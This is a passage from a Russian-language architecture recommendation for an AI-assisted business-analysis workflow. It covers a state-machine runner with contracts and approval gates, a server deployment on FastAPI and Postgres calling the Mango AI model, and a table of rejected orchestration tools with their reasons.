\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) |\\n| 1.3 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `waiting` \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `resume` \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34), `EP-R8` |\\n| 1.4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e `EP-R7`: \u043e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u0438\u043b\u0438 \u043d\u043e\u043b\u044c \u0441 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | [\u0413-33](#\u0433-33) |\\n| 1.5 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 `next`: runner \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e-\u0440\u0443\u0441\u0441\u043a\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0443\u0437\u0435\u043b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430, \u0433\u0434\u0435 \u0448\u0430\u0431\u043b\u043e\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0441\u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 | [\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 3 \u0438 4 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u043a\u0430\u0440\u0442\u0430-\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439) |\\n| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\u00ab\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 runner \u0441 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u043c BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0432\u043d\u0435\\n\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e tool loop\u00bb.\\n\\n| \u0421\u043b\u043e\u0439 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n|------|---------|--------|\\n| \u042f\u0434\u0440\u043e | \u042f\u0434\u0440\u043e runner \u0438\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043d\u0430 FastAPI | \u041e\u0434\u0438\u043d \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435; \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u2014 \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | Postgres: \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 append-only \u0436\u0443\u0440\u043d\u0430\u043b | `EP-R8`, `EP-R9`; \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 |\\n| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 approval \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043a\u0430\u043a \u0444\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441\u0435\u0439\u0447\u0430\u0441 | G-human \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0414\u0432\u0438\u0436\u043e\u043a | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442: \u0432 \u0433\u0440\u0430\u0444\u0435 15 \u0443\u0437\u043b\u043e\u0432. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0438\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0433\u0440\u0430\u0444\u044b. Temporal \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410 | \u0422\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API runner: \u0432\u0435\u0431-\u0447\u0430\u0442 (Open WebUI \u0441 Pipe \u2014 \u0434\u043e 50 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0435\u0437 \u0441\u043c\u0435\u043d\u044b \u0431\u0440\u0435\u043d\u0434\u0438\u043d\u0433\u0430, [\u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f](https://docs.openwebui.com/license)), \u0431\u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\ufffd\ufffd\u0430 ([Mattermost](https://docs.mattermost.com/developers/integrate/webhooks/outgoing)) \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0438 \u0447\u0430\u0442 n8n | \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u043a\u0430\u043d\u0430\u043b\u0443; \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 \u0432\u044b\u0431\u043e\u0440\u0430 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 |\\n| \u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 | \u041f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e n8n (\u0412-7): \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Jira, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0444\u043e\u0440\u043c\u044b, \u0432\u044b\u0437\u043e\u0432 API runner | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49); \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 |\\n| Release | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 CI gate runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f | ADR-019 |\\n\\n**\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430.** \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d, \u043a\u043e\u0433\u0434\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0441\u0442\u043e\u044f\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\\n([ADR-019 L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)).\\n\u0414\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0442\u0440\u0438 \u0432\u0435\u0449\u0438: \u0434\u043e\u0441\u0442\u0443\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a Mango AI\\n([\u0413-43](#\u0433-43)), \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0411 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0437\u0435\u0440\u043a\u0430\u043b\u043e \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432:\\nDocker Hub \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b 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\u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435. \u0422\u043e\u0433\u0434\u0430\\n\u0441\u0440\u0435\u0434\u0430 4 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a CI gate \u043f\u043e\u0432\u0435\u0440\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u2014 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 ADR-019\\n\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442.\\n\\n## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n| \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b |\\n|---------|-----------|----------|\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\n| n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e (\u0412-6) | \u0412\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430; AI Agent \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; \u043d\u0435\u0442 `$ref` \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0435; Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043b\u0430\u0442\u043d\u0430\u044f; \u043f\u043e\u0442\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 | [\u0413-44](#\u0433-44)\u2026[\u0413-49](#\u0433-49) |\\n| LangGraph Server | \u041a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 | [\u0413-51](#\u0433-51) |\\n| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n| Windmill, Kestra, Prefect (\u0412-9) | \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445; \u0444\u043e\u0440\u043c\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f Windmill \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Enterprise ([docs](https://www.windmill.dev/docs/flows/flow_approval)); \u0443 Activepieces \u043f\u0430\u0443\u0437\u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 30 \u0434\u043d\u0435\u0439 ([limits](https://www.activepieces.com/docs/flows/known-limits)) | \u2014 |\\n| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\\n- **\u041f\u0440\u043e\u0442\u0438\u0432.** \u0422\u0430 \u0436\u0435 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\u043d\u0435\u0442.\\n- **\u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.** \u0417\u0430\u043a\u0440\u044b\u0442\u0438\u0435 Roo Code \u0438 \u0441\u043c\u0435\u043d\u0430 \u0438\u043c\u0451\u043d \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Cline\\n  ([\u0413-41](#\u0433-41)) \u2014 \u043b\u043e\u0433\u0438\u043a\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n  